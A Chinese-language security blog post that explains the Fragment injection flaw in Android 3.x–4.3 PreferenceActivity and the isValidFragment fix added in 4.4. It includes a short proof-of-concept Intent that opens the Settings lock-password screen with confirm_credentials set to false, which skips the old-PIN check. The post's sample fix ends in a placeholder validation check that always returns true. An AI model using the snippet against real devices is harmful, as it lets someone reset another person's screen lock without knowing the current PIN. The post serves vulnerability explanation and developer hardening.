Android框架攻擊之Fragment注入

爲了適應越來越大的設備屏幕,Android在3.X後引入了Fragment概念,作用是可以在一個屏幕上同時顯示多個Activity,以達到充分利用屏幕的目的。關於Fragment的使用說明,可以閱讀Android Fragment完全解析,關於碎片你所需知道的一切。其中,Fragment有一個很強大的功能,就是可以動態加載。這樣可以讓整個界面的開發更加靈活,可以根據不同的場景動態加加載不同的Activity。

回到今天的主題——利用Fragment實現注入攻擊。從3.X後,android工程師重構PreferenceActivity的實現,採用Fragment實現界面的加載。通過閱讀源碼可以發現,PreferenceActivity的onCreate裏,需要讀取Intent的多個extra內容,常量都定義在PreferenceActivity裏(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=":android:show_fragment"EXTRA_SHOW_FRAGMENT_ARGUMENTS=":android:show_fragment_args",這兩個參數可以決定當前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,然後通過反射生成一個Fragment實例,並動態加載。關鍵源碼如下所示:


mSinglePane = hidingHeaders || !onIsMultiPane();
        String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
       Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
        int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);
        int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

先獲取initalFragment和initialArguments兩個參數,之後在switchToHeaderInner裏完成實例化:

private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {
        getFragmentManager().popBackStack(BACK_STACK_PREFS,
                FragmentManager.POP_BACK_STACK_INCLUSIVE);
        Fragment f = Fragment.instantiate(this, fragmentName, args);
        FragmentTransaction transaction = getFragmentManager().beginTransaction();
        transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);
        transaction.replace(com.android.internal.R.id.prefs, f);
        transaction.commitAllowingStateLoss();
    }

到此爲止,我們可以通過設置Intent的extral,實現動態修改PreferenceActivity的初次顯示的Fragment。

我們知道,在Android系統裏,App與App是互相隔離的,互相之間不能訪問對方的私有數據。App與App之間(更準確地說應該是組件與組件之間)的通訊,統一使用Intent。通過Intent可以很方便的喚起其他App的Activity,達到功能重用的目的。比如平時使用ZAKER,你需要在微信圈裏分享,通過這種方式就可以直接跳到微信的分享界面了。但使用這種方式的前提是目標Activity是exported的。

結合上面的兩個關鍵點,我們是否可以尋找一個exported的PreferenceActivity的子類,並通過精心設置Intent的extral的值,以實現打開那些沒有exported的界面呢?如果這些界面涉及安全方面信息的話,又會怎樣呢?

Setting幾乎每個Android設備都有的。Setting是以system_uid方式簽名,所以具備行使system的權力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,而且肯定是exported。我們以此作爲入口,嘗試尋找Setting裏有哪些重要的Fragment,並嘗試把它加載進來,主要目的是希望可以跳過某些需要用戶交互的限制。比如說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責鎖屏界面的密碼設定和修改。同時,這個類會根據之前傳入的initialArguments做不同的邏輯,關鍵代碼如下所示:

 Intent intent = getActivity().getIntent();
            final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);
            if (savedInstanceState == null) {
                updateStage(Stage.Introduction);
                if (confirmCredentials) {
                    mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,
                            null, null);
                }
            } else {
                mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
                final String state = savedInstanceState.getString(KEY_UI_STAGE);
                if (state != null) {
                    mUiStage = Stage.valueOf(state);
                    updateStage(mUiStage);
                }
            }

如果傳入的參數當中,key爲"confirm_credentials"爲true,就會調起舊密碼驗證的流程。如果爲false,就可以跳過舊密碼驗證而直接進入密碼修改的流程。測試代碼如下所示:

Intent intent = new Intent();
		intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
		intent.setClassName("com.android.settings", "com.android.settings.Settings");
		intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
		intent.putExtra("confirm_credentials", false);

		startActivity(intent);


正常的密碼修改流程是"設置"->"安全"->"屏幕鎖定"->"確認你的PIN",如所下圖所示:



如果運行DEMO,則直接進入如下界面:




這樣你直接輸入密碼,就可以把原來的密碼覆蓋掉了。

這個BUG存在於3.X到4.3中的所有版本,4.4已經fix了。4.4強制所有PreferenceActivity必須要實現isValidFragment方法,詳細見這裏


個人總結:

應該說,這種修復方式,只是起到一個提醒的作用,最終的安全還是交由開發者承擔。另外,目前很多應用都是基於2.X的,所以要兼容在4.4上跑而不crash,只要在PreferenceActivity的子類都補充加上isValidFragment方法就可以了。但對於4.4之前的版,如果存在這種權限泄露的問題,還是需要單獨處理的。下面給出兼容2.X~4.4修復的代碼示例:

public final class MyPreferenceActivity extends PreferenceActivity {
	
	private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{
		//TODO 做合法性檢查
		
		return true;
	}
	
	//添加上這個方法,以使2.x~4.3的代碼在4.4上可以正常運行
	protected boolean isValidFragment(String fragmentName) {
		return doValidcheck(fragmentName);
	}
	
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		//在onCreate前就做合法性判斷
		String fragmentname = getIntent().getStringExtra(":android:show_fragment");
		doValidcheck(fragmentname);

		super.onCreate(savedInstanceState);
	}
}


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章